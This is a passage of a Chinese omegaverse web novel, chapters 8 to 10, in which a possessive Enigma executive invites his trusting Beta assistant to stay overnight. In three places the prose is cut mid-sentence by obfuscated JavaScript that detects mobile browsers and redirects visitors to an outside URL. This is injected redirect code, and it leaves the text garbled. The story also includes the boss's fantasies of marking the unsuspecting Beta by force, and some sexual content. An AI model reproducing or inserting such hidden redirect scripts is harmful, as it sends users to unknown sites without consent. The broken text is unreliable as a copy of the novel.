可自从这个Beta出现,无知无觉地进入了他的领地,他就开始难以忍受了。傅执想用自己的Enigma信息素包裹住许知桉光洁的后颈,最好把他身边所有Alpha的味道都覆盖住,比如下午和他在茶水间坐着的那个Alpha,或者其他什么人,他们残留在许知桉身上的臭味,在许知桉上车的第一秒开始,就让傅执暴躁得头痛欲裂。 等红绿灯的间隙,Enigma侧过头去,面无表情地看着许知桉安静的睡脸。 直接带回家、抱进满是他信息素的房间里,许知桉恐怕也反应不过来,只会乖乖窝在他颈侧。 即便是Beta,傅执也能够在他身上留下临时标记。 许知桉这点力道,在傅执看来甚至称不上反抗。只要在他后颈上咬一口、注入自己呛人的信息素,Beta就会彻底失去反抗能力,只能依赖地攀着他,浸泡在他的信息素里,一边又一遍任由他顶撞到已经退化、没有孕育能力的生.殖.腔。 “……” 傅执咬着牙根,缓慢压抑,沉沉呼出了一口气。 光是想象,他就有种发I情时胀痛难耐的感觉。 但他缓缓伸手,抵在因为空虚而感到酸痒的犬齿根部,面无表情地摁了摁,把咬破腺体的欲I望,又一次强行压抑下去。 ……不是时候。 许知桉有好感的不是某个Enigma,而是一个沉稳禁欲、脾气十分温和的上司。 如果真的窥见这副皮囊下,极端重欲、强势的模样,便不会再无条件信任,只会感到深深的恐惧,进而远离。 掌控欲强如傅执,显然不会允许这种预期之外的事情发生。 车里很安静,Enigma粗重的呼吸声清晰可闻,但很快,又沉寂下去,没有给睡着的人留下任何发现端倪的机会。 傅执淡淡垂眼,抹去脑中的画面,打着方向盘,朝许知桉家的方向静默驶去。 没有什么压不下去的瘾。 8. 第 8 章 机场大厅,许知桉把妈妈送到登机处,叮嘱道:“下了飞机记得给我打个电话,等回了z市,吃饭和休息都要注意一些。如果有什么不舒服,不要怕麻烦,一定要马上联系我。” 许韵笑着,眼角有几道细微笑痕:“好好,知道啦。” 许韵是为了方便看病和陪护才来s市,并不在这里常住,现在身体恢复就要回去了。 毕竟家里的画室还需要她来照看。 “对了,房子找的怎么样了?”离登机还有几分钟,许韵又忍不住操心,“昨天看的那套也不太满意?” 许知桉:“嗯,户型不太好,阳台采光很一般,我想和中介多看几套再决定。” 许知桉和前室友一起租的房子下个月就要到期了,他不打算续租,想换一间单人公寓。 虽然元枢的薪酬丰厚,但妈妈每个月还要定期治疗,费用很高,他还是想尽量节省一些开支。 而且换个离公司近的公寓,上班也更方便,现在住的地方太远了,坐地铁都要花四十分钟。 许韵突然道:“哎,你平时是不是经常要跟着老板一起工作?那不如看看他家附近有没有什么合适的?汇合的时候也方便。” 许知桉没往这个方向想过,被突然提醒,才有些迟钝地反应过来。 对啊,为什么不直接把公寓租在傅执家附近呢? 傅执的住址离公司不算远,离地铁也近。最主要是他们在有临时工作的时候可以更快汇合,不用司机再分开跑两趟了。 过两天许知桉要跟着他出差,到时候会面也方便。 尽管Beta没能及时意识到自己的情绪,但他的心情确实因此变得轻快了一点。 送许韵登机后,许知桉和中介沟通了一下,问傅执居住的那块区域有没有合适的公寓,他有时间会去看看。 中介答应下来,大概下周末可以看房。 解决好家里的事,许知桉就直接回了公司。 本来还有两个小时就到下班时间,梁意突然在旁边的工位探头过来。 “许助,明天那个慈善讲座突然提前了,要你和傅总现在过去一躺。” 在元枢干了一个月,许知桉对加班都见怪不怪了:“傅总在公司吗?” “在楼上呢。” 梁意在椅背上靠着,稍微舒缓了一下因为久坐而发酸的脖子,“不知道开完会了没有,你到办公室看一眼,没开完的话进会议室催一催,这讲座挺重要的,不好迟到。” 许知桉答应下来,乘电梯上楼,傅执已经坐在办公室了。 和傅执简单说了一下情况,两个人到地下车库取车。 情况临时,许知桉没再通知司机,干脆自己来开。 等红绿灯的间隙,傅执从讲座资料里抬头:“最近自己跟进项目,感觉怎么样?” 说实话很忙。 除了跟进子公司的信息素制剂研发项目,许知桉还有助理的例行工作。 虽然累,但收获也不少,入职快两个月,他对这个岗位比较熟悉了,工作效率也提高了很多。 许知桉的刹车踩得很稳,车身在路上匀速行进。 “还不错,上手比我预想的要顺利……”许知桉笑笑,“梁意和您都帮了我很多。” 傅执嗯了一声算是回应,肯定了一些许知桉在工作上做得好的地方,又道:“但有一点,你包揽的工作太多了。你负责管理的人,他们分内的工作不需要替他们做,先布置下去,如果有什么完成不妥的地方,再去追责。” 傅执说这些的时候语气十分平静,甚至称得上温和。 漆黑薄冷的瞳孔静静注视着面前的Beta。 许知桉的职场经历其实不算多,但目睹Alpha在公司情绪失控的次数已经有很多了。 在他的理解里,Alpha就是这样不能控制自己信息素的生物。 尤其是高级别,连工作的时候也难以沟通。 相比起其他性别,Alpha们天生喜欢独来独往。 每次和他们共事,许知桉多少都会在某些环节上感到头疼,进而感慨:还是Beta和Omega好相处一些。 奇怪的是,和傅执认识了这么久,许知桉就没见过这个人失控的时候。 作为一个易感期临近、级别为S的Alpha,却从不闹情绪,经历信息素紊乱的时候不会,下属犯错误的时候也基本不会。有次许知桉打印错了资料,走得急了,没看见从转角出来的傅执,一头狠狠撞在他胸口上。许知桉当时捻着鼻尖,有点慌乱地想道歉,但傅执只是揉了揉Beta撞红的前额,嗓音暗哑,低沉温和地开口,让他走慢一点。 ……情绪也太稳定了吧? 简直都不像Alpha了。 十几分钟后,他们提前来到了场馆,落座之后还要等一段时间才能开始。 零零落落的工作人员在宣讲台上调试设备,再加上观众很多,现场有些许杂乱。 许知桉乖乖跟在傅执身后,在预先安排好的位置坐下。 他平时不太爱出门,很少会参加这样的场合。 这个讲座是信息素紊乱原理、急救知识、以及信息素制剂研发进程的公益科普讲座,元枢作为捐赠方出席。 场馆很大,主办方的布置也很用心。 许知桉不禁有点好奇,平时浅淡疏离的瞳孔都显得生动了一些,倾身往宣讲台那边张望,想看清台上那个特别大、需要好几个人才能搬动的信息素平衡仪器。 他看得很专注,注意力似乎都全被台上那个没有生命的物体攥取了。 Enigma坐在他身侧,浓黑色的眸子沉静一瞬,温声打断道:“许助。” “嗯……嗯?”猝不及防被叫了一声,Beta转过脸时瞳孔里还残留着些许的茫然,“怎么了?” 确认Beta的注意力已经从那个仪器上移开口,傅执才淡淡垂眼,敛去眼底浓稠阴郁。 “我去和那边的工作人员沟通下细节。”傅执说,“在这里等我,不要乱走。” 周围人太多,傅执微微俯身,在许知桉耳边说话。 虽然仍旧保持着很礼貌的社交距离,但许知桉还是能闻到对方身上常有的那种沉木的气味。 很浅淡,存在感不强,和这个情绪稳定的Alpha给人的感觉非常类似。 Alpha微热的体温倾压下来,让许知桉莫名觉得心情松快了一些,点头道:“嗯嗯,那你快去吧。” “晚饭吃了吗?今晚讲座要开很久。” 许知桉没想到他会特意关心这个,有点不好意思地伸手刮了一下鼻尖,小声道:“吃了,你之前提醒过我嘛……开完会就在公司食堂吃过了。” 男人垂眸,脸上的表情让人看不清情绪。 Beta看着他的时候神情很专注,这让他原本焦躁的心情平复了一些。他伸出手,不着痕迹地摁了摁因为占有欲不被满足而不停抽痛着的太阳穴,低声应道:“好,我很快回来。” 后台,管理局的几个警卫神情紧绷,已经等了很久。 他们是局里负责管控Enigma的那一批人。 这个性别虽然没有到机密的程度,但因为数量太少,大部分民众都不了解。 Enigma从分化起就会在管理局得到一个编号,然后被集中到某个区域,接受比Alpha更严苛的道德教育和约束。 即便如此,天生猛烈的信息素,还是让他们的施暴率居高不下。 管理局安排的医生每周都会对他们进行检测,还要定期到医院抽取掉堆积过多的信息素。 即便如此,Enigma的易感期依旧是一个很难处理的问题。 不过,因为要面对的是傅执,警卫们也并没有过分担忧。 傅执是他们负责过的、情绪和信息素都最为稳定的Enigma。 镇静到出奇,发生袭击事故的风险也最低。 傅执:“找我什么事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424298|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 警卫们默默往后退了一小段,才道:“方医生出差了,这两天不在S市。过几天就要试药,方医生让我们来确认一下你的身体状况。” “没什么问题,让他放心。”傅执平淡道,“可以按计划试药。” 警卫应了一声,默了几秒,才又硬着头皮道:“方医生还让我们交代你,这个月无论如何都不能再用抑制剂了。如果再听到你打抑制剂的消息,他就连夜打飞的回来,呃……” 警卫最后还是没把原话那句“吊s在你家门口”说出来。 但他觉得傅执应该能明白医生相当坚决的态度了。 像是想到什么,Enigma眸色微微沉了下去,顿了一下才答:“嗯。” 简短的对话完毕,傅执回到会场。 公益讲座还有五分钟就开始了。 他偏头看了一眼台上,主讲人是一个看上去很年轻、长相很有侵略性的Alpha,此刻正戴着止咬器,额角青筋暴起,用手捂着眼睛微微俯身,很痛苦的样子。 另一个个子小巧很多的人正站在他旁边,轻拍着Alpha的脊背,尽力安抚他。 傅执嗅觉很灵敏,隔了这么远都能闻到Alpha身上散发出的那股难闻的信息素味。 Enigma的额角微微一跳。 ……许知桉身上又要沾上这股信息素的味道了。 腺体和太阳穴又开始持续地闷痛起来,傅执的脚步加快了些,原本五分钟的路程被他缩短到了一分钟,他很快就见到了想见的人。 Beta没有离开,正按他说的那样在原地等候,低头回消息。 见傅执回来,许知桉把脑袋从屏幕里抬起来,有点惊讶道:“这么快啊?” “刚好赶上开始,我刚才还以为你赶不及,在想要不要去找你呢。” “不用。” 不知道为什么,傅执的声线有些暗哑,听上去有点压抑:“按我说的等就好。” “嗯嗯,好的。” 许知桉没察觉出傅执的情绪,很顺从地答应下来。 周围本来很吵闹,在某个瞬间突然沉寂下去,许知桉意识到这是讲座开始了。 他收敛起神色,眼睛往讲台上看去。看清主讲人脸上戴着的、相当显眼的止咬器后,许知桉动作滞住,有点惊讶地瞪大了眼睛:“嗯?” 是出什么事故了吗? “他的信息素紊乱,易感期提前了。”看许知桉一脸好奇的样子,傅执低声解释,“本来讲座是在下周二,因为这件事调了时间,但还是有影响,要戴止咬器防止事故。” “哦……原来这样。” 许知桉偏头,为了防止吵到身边人,他又往傅执那边凑近了些。 近到傅执都能闻到他身上那股清浅好闻的气味。 许知桉:“那开完这个会之后他要怎么处理?” 傅执:“去医院隔离半个月。” “这么严重啊?”许知桉讶然,“怎么会突然紊乱,是有什么诱因吗?” “嗯,他的配偶是Omega,但是匹配度太低了。”看着许知桉专注盯着他看的神情,傅执敛了下眸子,很有耐心地解释道,“易感期临近,但他没法标记伴侣,临时标记不出十二个小时就会失效了。级别高,需求又得不到满足,就会出现这样的情况。” “哦哦,是这样啊。” 许知桉表情认真,略显沉重地点了点头:“原来AO之间结合要考虑这么多……照这样说,级别很高的Alpha不适合找匹配度低的Omega吧。” “嗯,如果没有结婚的话,大概率后续会分开。”傅执淡淡道,“信息素的隔阂没有这么容易跨越。” 许知桉沉吟一声,突然想到什么,仰头看向傅执。 茶色瞳孔里映出单纯的疑惑。 “Omega都会这样,Beta应该更不合适吧?”他轻声问,“级别太高的,和Beta基本不可能在一起,可以这样理解吗?” 9. 第 9 章 许知桉问完后,对话陷入了沉默。 面前的Alpha唇角平直,不带太多情绪地看着他,没有立刻回复,似乎仍在思考这个问题的答案。 许知桉有点困惑。 是他的推测有哪里不对吗? 匹配度再低的Omega,都尚有能够安抚伴侣、用来和伴侣交缠的信息素。 Beta则不同,他们后颈的腺体退化了,没法分泌信息素。甚至连代表伴侣身份、能够加深感情链接的信息素气味都闻不到。 按照傅执的说法,高级Alpha和匹配度低的Omega在一起都已经很勉强了,那和Beta结合,理应是一件更加违背本能的事情吧? 许知桉安静地注视着傅执,等他答复。 Alpha沉默一阵,再开口时声音沙哑:“嗯,是这样。” “但也有例外。”傅执又说,“如果自制力够强,在易感期能控制住自身生理反应,也可以选择和Beta在一起。” 许知桉摸了摸下巴:“级别很高的也可以吗?短期可能还能忍耐……常年都这样,会不会出问题?” 说完这句话,他心里微微一跳,意识到自己问的似乎有点太多太深入了。 傅执本身就是个Alpha,对这种性别层面的话题,说不定很敏感。 况且傅执是他的上司,私底下跟上司讨论太多私事,怎么看都很不合适。 许知桉面上不显,心里却已经有点懊恼了。只是开了个话头而已,怎么就忍不住跟傅执聊了这么多? 但他没能忐忑太久,因为对方很快回答了。 傅执垂下眼,看着神情有些犹豫的Beta,呼吸滞涩,声音比平时似乎更低了一些:“……不会。” 常年都这样,也不会失控。 “……” 看着傅执这样的眼神,许知桉突然就说不出来话了,顿了几秒,才有些慌乱的偏过头:“嗯嗯,我们先听完讲座再说吧。” “好。”Alpha默了一瞬,把视线收回去。 后续便不再有交谈,周围很安静,会场里似乎只剩下主讲人强撑着的、有些沉闷和紧绷的嗓音。 讲座间隙,许知桉忍不住想,刚刚傅执答得是不是有点太认真了? 他对AO的择偶准则其实不太感兴趣,只是随口一问。 如果今天坐在这里的不是傅执、而是另外一个Alpha,这段对话很可能根本不会发生,因为许知桉对此没有太多探究欲,并不会把话题接下去。 可傅执似乎不是随口一答,相反,他神情很认真。 语气也近乎承诺。 只是聊天,似乎没有必要吧? 难道是职业病犯了,和工作的时候一样,想要纠正他观念上面的疏漏? Beta纤长的眼睫轻颤着,有些漫无边际地想着。 周围突然掌声雷动,他猛地回神,跟着起身鼓掌,意识才从刚刚的思考里抽离出去。 主讲人发言完后,傅执要跟其他捐赠人一起上台,合影留念。 时间紧急,他赶紧跟上傅执,到后台做准备工作,也就不再分心去思考刚刚没能想明白的事情了。 - 讲座结束已经是晚上九点多了,许知桉有些疲惫,傅执就没再让他开车,说要先把他送回公寓,再自己开车回去。 连着两次搭老板的车,Beta轻轻刮了刮脸颊,表情有些不好意思。 傅执没说什么,打开了副驾驶的车门:“上车吧。” 许知桉只好道谢,俯身坐了进去。 即便还是冬天,外面的天也已经全黑了,窗外的灯光微微投射进来,打在Alpha骨相锋利的侧脸上,落下阴影。 傅执目视前方,神情淡淡,长时间的工作似乎也没有让这个人感到任何疲惫。 许知桉靠在座椅上,看着傅执的侧脸,突然想,虽然傅执肯定是个S级Alpha…… 但相处下来,真的非常不像是Alpha。 过分淡漠,禁I欲。 他经常进出傅执的办公室,那里面没有任何多余的装饰,毫无生活气息,不像其他有独立办公室的领导会放一些茶具,或者在窗台置办几盆醒目的绿植。 吃饭的种类也一样,经常是重复的,似乎只为了饱腹,都没有太多口腹之I欲。 不过他们还没熟到这个地步,许知桉只是猜测,没有出声询问。 下车的时候,傅执叮嘱他明天出差的事情:“八点左右下楼,我会在门口等你,今晚提前收拾好东西。” “好的。”许知桉很乖地点头。 他要下周才能换公寓,这次还是得麻烦司机在z城两头跑。 等搬到傅执附近,出差汇合的效率就高多了。 许知桉看着傅执,浅茶色的疏冷眼睛弯出一个弧度,说:“到家记得发个消息,明天见。” 傅执:“嗯,明天见,晚安。” 许知桉离开后,楼下的车却并没有离开,直到他坐电梯上去,走入家门,楼栋里的某个窗口骤然亮起。 傅执仰头,神情平静,任微小的光电落在他深不见底的漆黑瞳孔。 注视了一阵,他才驱车离开。 傅执没有回他在z城的住处,而是先去了傅家在郊区的别墅,他的父母都住在这里。 他已经快一个月没有回家探望过父母了,所以按照惯例,今晚需要抽空回去。 傅执走入别墅大厅的时候,房里的两人还没休息,在书房处理工作。 向二人打了招呼,母亲从文件里抬头,问他:“最近公司的事情都怎么样?” “照常运行,没什么疏漏。” 和母亲交谈了一会儿后,旁边一直沉默的Alpha男性开口:“这个月的体检,管理局的医生和我说,你注射了超量的信息素。” Enigma顿了一下,语气平淡道:“是的。” “为什么?” “出差的时候遇到意外,信息素有些波动,以防万一。” 他父亲不满地蹙了下眉:“再这样靠抑制剂不是办法,你得尽快找一个匹配度高的人,Alpha或者Omega都行。” 这其实不是傅执的父母第一次催促他了,Enigma的信息素太过暴烈,如果没有伴侣的安抚,只会一年比一年难压制。 但傅执和往常一样,面无表情地揭过了这个话题。 半个小时后,傅执的拜访就宣告结束,他驱车回了自己的住处。 信息素过于强势的家庭就是这样,彼此的交谈不多,更喜欢独自做自己的事情,关心也只要点到为止就够。 但今晚的拜访让Enigma更加烦躁。 今天在讲座上,许知桉问出的那个问题,已经让他的情绪有些波动,本能地感到不安和烦闷。 再加上方旭和父母的话,让他找一个匹配度高的Alpha或者Omega,却独独少了某个性别。 ——不能是Beta。 傅执脸上的表情还是很冷淡,推开家门的力度却有些重。 他皱着眉,呼吸不受控制地变得粗重,额角青筋直跳,鼻腔里似有若无地浮现出一股气味。 是在这两个月里、傅执每次靠近许知桉,都能在Beta身上闻到的那股味道。 不是信息素味,而是完全来自Beta本身的气息,像刚下过雨的湖水,冷淡疏离。 对Enigma没有任何的安抚作用,却让傅执牢牢记住。 而现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424299|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他无比地渴望要再次闻到这股味道。 傅执后知后觉地意识到,他现在应该是发Q了。 Alpha一般只有在易感期,才能在病理上成为“发Q”,因为只有在那个时期信息素才能达到一个彻底摧毁理智和道德的浓度。 但Enigma不一样,他们的信息素常年都在峰值,如果控制不当,随时随地都可能发Q,而易感期的Q欲只会比平常更加暴烈。 傅执扶着额头,想趁着还算理智,上楼给自己打一针抑制剂。但他走到一半面无表情地停了下来,想起今天下午,警卫给他转述的那些话。 “……” Enigma扶着额头,头痛欲裂,有些无奈地出了一口气,转身走进浴室。 他泡在一缸冷水里,手掌面无表情地移动。 信息素过度积累、加上长期依赖抑制剂,引发的身体过度反应,把信息素排出去就会好一些了。 但Enigma的信息素实在是太多太猛烈了,没有契合度高的伴侣引导,他只能机械地排出信息素,甚至感受不到多少快意。 傅执想象着Beta身上的那股味道,有些后悔,没有拿走Beta身上的某些物件,一些衣物,或者其他贴身用品。 他的齿根发痒,难得有些狼狈地蹙着眉心。 时针走了整整一圈,浴缸才平息下来。Enigma微微喘着气,无奈地起身,清洗自己的手掌。 他太久没纾解,太多了,被糊得很难受。 傅执讨厌像狗一样的行为,有些嫌恶,面无表情地清洗干净,又粗暴地摁了摁后颈微微鼓动着的腺体。 一次其实并没有什么用,对于Enigma来说根本就是杯水车薪。 他再次在浴缸里坐下,Enigma过分的体型让这个大号浴缸显得有些憋屈,扶在白色缸壁上的手背青筋浮现。 又不知道多久,当傅执汗湿的喉结滚动了两下后,他放在旁边的手机突然震动起来。 看清上面的名字后,Enigma的动作和呼吸都停住了。 一瞬间的眼神堪称恐怖。 电话响到一半,傅执伸手接了起来,开口的声音却很温和:“喂。” “啊,打扰啦。” 可能是在下班时间,Beta的声音松快了一点,称呼也变得随意。 “刚刚我发消息你没回,所以打电话来问一下,下午开完会之后你的U盘落在我这了,不知道里面有没有重要的东西……需要我现在给你送过去吗?” Enigma的耳朵很灵敏,他听见了那边的声音。 是地铁的广播声。 许知桉站在上车口,手里扶着一个行李箱。 对面傅执的声音听起来有点闷,很哑,似乎还带了点喘I意。 “你在车站?这么晚要出门吗。” “嗯,是啊……”许知桉蹙了下眉,担忧道,“你怎么了,身体不舒服吗?” “只是有点感冒,别担心。”傅执声音很低,像是诱哄,“要去哪里?” 说到这个,许知桉漂亮清冷的脸微微垮了一下,眼尾都不太高兴地垂下来了。 Beta语气无奈:“我家突然停水停电了……很不方便,就收拾东西出来了,打算去住一晚酒店。我已经把地址发给司机了,明天在那边汇合就好。” 说完后,对面的傅执沉默了一瞬。 再开口时,许知桉听见他问:“要不要来我家住一晚?” 许知桉完全没考虑过这个选项,一时间呆住:“嗯?” “我家有很多空房间。”傅执阐述着很合理的理由,“这样明天汇合的时间也能节省很多。” “我把地址和门牌号发给你,你现在乘车过来就好。” 10. 第 10 章 两小时前,许知桉被送回家,衣服还没换,一个电话就打了过来。 许知桉看了眼,是他大学同专业的一个学弟,叫陆聪,是个Beta。 他性格很淡,虽然大学参与的活动多、结识过很多人,但保持联系的几乎没有,陆聪算是这少数人当中的一个。 许知桉接起来:“有什么事吗?” “有有有。” 陆聪的声音听起来非常疲惫,但又很急切,“我最近不是在开发新游戏吗?有个程序怎么都跑不通,已经连熬了三个大夜了,还是没解决掉。” “你有时间吗,方便的话能不能帮我看看?你特别擅长这个!拜托拜托,解决不掉的话我今晚又要睡不着了!” 对方说得可怜兮兮的,许知桉几乎幻视到他在电话那头双手合十。 陆聪性格跳脱,毕业之后没有选择到大公司就业,而是选择和合作伙伴一起创业。 小爆了一款游戏后,公司蒸蒸日上,现在他已经是很出名的游戏公司CEO了,产品做得也好,连许知桉这种不爱玩游戏的,都经常能在社交媒体刷到。 他把大厅的灯打开,一边往卧室走一边说:“可以啊,你把代码发我吧,我看看。” “好好,太谢谢了!” 许知桉坐在书桌前把电脑打开后,对方的文件就麻利地发过来了。 Beta脸上表情很淡,莹莹的光从屏幕打在他精致白皙的侧脸上,浅色的瞳孔微垂着。 他手指熟练地移动鼠标,把这个大得过分的文件花几分钟简单浏览了一遍。 “三百六十多个分支……”许知桉有点惊讶,“分了这么多个结局吗?好复杂。” 一说起这个陆聪就精神了,开始喋喋不休,把他们团队还未问世的新产品哐哐夸赞了一通,包括精雕细琢的建模、超强的文案、保证让玩家抓破脑袋也打不出来的隐藏结局……等等等等。 讲得口干舌燥,陆聪端起水杯喝了一口,却听对面的Beta回道:“这个代码写得确实不错……蛮有水平的。是存档这一块有问题吗?” “……” 陆聪扶额,两三个月不见,这位长得很好看的Beta学长还是这么人机,对不感兴趣的事情都很迟钝。 他只好跳过这个话题:“对的,读档之后剧情会跳回上一个节点,我和同事改了很多遍,不是跑不动,就是其他环节跟着崩。” “嗯,那我先看看能不能改出来。” 挂了电话,许知桉扶着下巴琢磨了一下,开始上手修改这一堆数值。 很久没敲过代码了,他有些生疏,过了一两分钟速度才逐渐快起来。 许知桉想,比起现在做的工作,他还是更喜欢自己本专业对口的岗位,程序员之类的。 他对敲代码很有兴趣,享受这种非常有秩序、也不用被打扰的感觉,只需要盯着一个个数值,让它们在屏幕上静静排列组合就好。 简单纯粹,不用每天都频繁地和人打交道。 唔,照这么说…… 他应当是不太喜欢自己现在正在做的这份工作的? 大集团的总助,事务很杂,每天都要和人交际,还经常开会。 想着想着,许知桉在键盘上移动的手指慢了下来。 他突然意识到某种矛盾。 按照自己的性格,明明应该是不喜欢这份工作的,可上岗后的这两个多月,他却没有太多的排斥情绪。 就连加班的时候,心情都很平和。 因为什么呢,薪资特别高? ……好像不是吧。 许知桉停下了敲代码,托着下巴,莫名地开始思考这个问题。 过了一会儿,他眼角余光无意识地扫到了电脑桌面,上面有他明天要回给上司的文件。 傅执那张非常英俊、漠然的脸,在Beta的脑海里瞬间闪过。 “……” 许知桉白皙的脸凝滞了一瞬,随即慢慢变粉、加深,直到连着耳根后面都泛红。 他好像知道自己不排斥这份工作的原因了。 因为共事的是傅执,而不是其他的Alpha。 每天打完卡、从楼下到办公室的那段路上,许知桉的心情都是有些许雀跃的。 Beta捂住脸,有些迟钝,后知后觉地感觉到不好意思。 ……大概因为他的上司情绪太稳定了,又心细,是个很好相处的人吧。 想到见面前先入为主的偏见,许知桉都有点愧疚了。 看来性别这个因素还是很片面的。 不能因为傅执的性别,就下意识认为他是个粗暴的人。 想明白这个小插曲后,许知桉重新投入工作。 刚开始还挺顺利的,但他改完跑了一遍后,低低地“嗯?”了一声,身子前倾,眼睛微微眯了起来。 这样改竟然跑不动吗,哪里出问题了? 这东西难得把许知桉的胜负欲挑了起来,他把刚刚打出来的全删掉,开始重新写。 改到一半,啪的一声,视线突然变黑,亮着的电脑荧幕也黑下去了。 停电了。 Beta眼睛骤然瞪大,倒吸了一口气:“……” 还好他有随手保存的习惯,不然今晚他也得和陆聪一样气得睡不着觉了。 许知桉略带沮丧地合上了笔电 ,走到卧室,打包好出差要用的东西,想到外面的酒店临时住一晚。 不然太不方便了。 而现在,站在地铁口,许知桉还有点反应不过来。 突然就不用去酒店,而是要去上司的家里临时过一夜了。 其实许知桉一开始是有点犹豫的,他们似乎还没熟到这个地步,许知桉不太想因为自己这边的意外麻烦他。 但傅执列出了合理的理由,语气明明很温和,却让许知桉莫名没有了拒绝的余地,只好顺从地答应。 出地铁口的时候,外面飘起了雨。 夹着冬天的冷风扑到Beta脸上。 他本来就畏寒,骤然被冻了一下,猝不及防,两边的太阳穴隐隐抽痛起来。 许知桉蹙着眉,低头看着行李箱,思考是要打开箱子把伞拿出来,还是直接淋着雨走过去。 但很快,一个过分高大、显眼的身影就出现在不远处,吸引了他的注意力。 傅执的身高超过一米九,似乎比许知桉见过的Alpha都要更高大一些。 凑近的时候,许知桉抬眼看他,看清了男人微微湿着的黑色额发。 他打着伞,应该不是淋湿的,是洗了澡还没来得及吹干吧,许知桉想。 来得很着急吗? 走进站口后傅执收起了伞,垂下眼:“等很久了吗?抱歉。” 许知桉摇摇头:“没有的,我刚好出来。” “你声音很哑……感冒很严重吗?”Beta凑近了一点,微微蹙着眉问。 不知道为什么,面前的Alpha沉默了一瞬,再开口时眼底更加沉郁,让人看不出情绪:“没事,已经喝药了。” “嗯嗯,那就好。” 和傅执并肩走进雨里的时候,可能是伞太小了,许知桉左肩的皮肤总是在Alpha过于结实的肌肉上蹭过。 不知道为什么,他总觉得傅执的体温有些高,衬得他被风吹着的另外半边更冷了,有点头晕。 傅执常住的是市区的一间独栋别墅。 进门后,傅执给他在别墅里挑了一件合适的房间,帮他把行李箱放好。 许知桉觉得有点冷,提出想洗个热水澡,可不可以借用一下傅执家的浴室。 傅执看着Beta微微希冀的眼睛,呼吸静默了一瞬,哑声道:“……嗯,没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424300|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,可以用。” “不用拿你的洗漱用品。”他又补充道,“直接用浴室里的就好。” 男人的语气很温和,说话时和许知桉保持着一个恰到好处的距离,克制又绅士。 再一次感慨傅执的好脾气,许知桉感激地笑了笑,应好。 洗完澡后,许知桉裹着宽松的睡衣,毫无防备地从浴室里走出来。皮肤被热水蒸得微微泛粉,浅色的发尾也有点湿。 显得比平时更柔和,看不出平日里冷淡疏远的样子。 走进卧室,许知桉看见傅执在弯腰给他铺床。 Alpha的动作利落而平稳。 他站在门口,心跳莫名又快了几分,抿了下唇才走上前,很积极地道:“我来帮你吧。” Enigma的鼻子很敏感,很多常人闻不到的气味都可以感知到。 因此,当Beta带着满身的、他常用沐浴露的气味凑近时,傅执一顿,浑身的肌肉都绷紧了,本能地往后退了一步,和许知桉拉开些距离,才回应道:“好。” 和傅执一起套床单的时候,许知桉注意到,每次指尖凑近时,傅执都会很快反应,克制地把手拿远一些,避免碰到他。 相当礼貌、绅士。 许知桉套好枕套,把崭新的枕头摆到床头。然后他听见傅执问:“被子盖我用过的,可以吗?家里没有多余的。” “已经洗过了,一直放在防尘袋里。”可能是怕他介意,傅执又补充道。 “当然可以!”Beta连连点头,微弯着眼睛,“谢谢你啦,我跟你去取吧。” “不用,在这里等我就好。” 傅执说完,转身出了卧室。 被子放在二楼,Enigma在上楼时,身形滞了一瞬。 确认Beta没有跟着上来、看不到他之后,傅执靠着墙壁停了下来。 他面无表情地伸手,摁在后颈上,捂住疯狂鼓动的、充满信息素的腺体,咬着牙根仰头,压抑地喘了一口气,喉结无比沉闷地滚动了一下。 许知桉和他的力量差、体型差,都太大了。 如果他想,他可以把人拖着后腰抱起来,关进满是他气味的巢穴中,咬破后颈,在退化的鼓包里注入自己的信息素,在Beta身上留下临时标记。 傅执本来不想这样,刚刚的纾解已经把他的症状压下去了。 可Beta看着他的眼神太信任了,也很依赖,似乎无论他做什么过分的事,许知桉都不会生气。 只要他想,他可以对这个毫无防备的Beta做任何事。 仅仅是一个虚幻的念头,Enigma与生俱来的占有欲就被无限满足了。 某些罪恶的想法占据了他。 几秒过后,傅执骤然清醒,额角几乎立刻渗出了冷汗,胸膛剧烈起伏。 接着,他面无表情地伸手,用手指紧紧扣住了腺体,自残一般用力,将这股欲I望狠狠地压制了下去。 …… 许知桉坐在床边,几次抬头往门口看,心想傅执去得是不是太久了一点。 高大身影出现在楼梯口的时候,许知桉的眼睛亮了一下,起身迎了上去。 “今晚可能降温,冷的话要告诉我。” 不知道为什么,许知桉感觉傅执的声音似乎比刚才多了一丝不易察觉的疲惫,但依旧很温柔:“要喝水吗?我去拿一个新的杯子给你。” 许知桉颔首,傅执便出去拿了水杯,倒了一些温水,帮Beta摆在了床头处。 傅执:“不早了,你早点休息。” 他说完就往门口去,准备离开。 